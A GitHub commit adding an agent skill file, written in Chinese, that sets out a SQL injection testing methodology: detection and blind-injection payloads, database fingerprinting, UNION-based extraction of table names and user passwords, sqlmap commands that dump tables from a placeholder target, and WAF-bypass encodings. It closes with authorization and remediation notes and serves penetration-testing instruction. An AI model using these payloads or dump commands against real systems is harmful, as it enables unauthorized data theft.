Add files via upload

This commit is contained in:
公明
2026-01-15 22:00:10 +08:00
committed by GitHub
parent 67e2e56bd2
commit 68ad2bf67a
44 changed files with 10016 additions and 72 deletions
+101
View File
@@ -0,0 +1,101 @@
---
name: sql-injection-testing
description: SQL注入测试的专业技能和方法论
version: 1.0.0
---
# SQL注入测试技能
## 概述
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
## 测试方法
### 1. 参数识别
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
- 重点关注:id、search、filter、sort等参数
- 使用Burp Suite或类似工具拦截和修改请求
### 2. 基础检测
- 单引号测试:`'` - 查看是否出现SQL错误
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
- 时间盲注:`' AND SLEEP(5)--`
- 联合查询:`' UNION SELECT NULL--`
### 3. 数据库识别
- MySQL`' AND @@version LIKE '%mysql%'--`
- PostgreSQL`' AND version() LIKE '%PostgreSQL%'--`
- MSSQL`' AND @@version LIKE '%Microsoft%'--`
- Oracle`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
### 4. 信息提取
- 数据库名:`' UNION SELECT database()--`
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
- 数据提取:`' UNION SELECT username,password FROM users--`
## 工具使用
### sqlmap
```bash
# 基础扫描
sqlmap -u "http://target.com/page?id=1"
# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
```
### 手动测试
- 使用Burp Suite的Repeater模块
- 使用浏览器开发者工具
- 编写Python脚本自动化测试
## 绕过技术
### WAF绕过
- 编码绕过:URL编码、Unicode编码、十六进制编码
- 注释绕过:`/**/`, `--`, `#`
- 大小写混合:`SeLeCt`, `UnIoN`
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
### 示例
```
原始:' UNION SELECT NULL--
绕过1'/**/UNION/**/SELECT/**/NULL--
绕过2'%55nion%20select%20null--
绕过3'/*!UNION*//*!SELECT*/null--
```
## 验证和报告
### 验证步骤
1. 确认可以执行SQL语句
2. 提取数据库信息验证
3. 评估影响范围(数据泄露、权限提升等)
4. 记录完整的POC(请求/响应)
### 报告要点
- 漏洞位置和参数
- 影响的数据和系统
- 完整的利用步骤
- 修复建议(参数化查询、输入验证等)
## 注意事项
- 仅在授权测试环境中进行
- 避免对生产数据造成破坏
- 谨慎使用DROP、DELETE等危险操作
- 记录所有测试步骤以便复现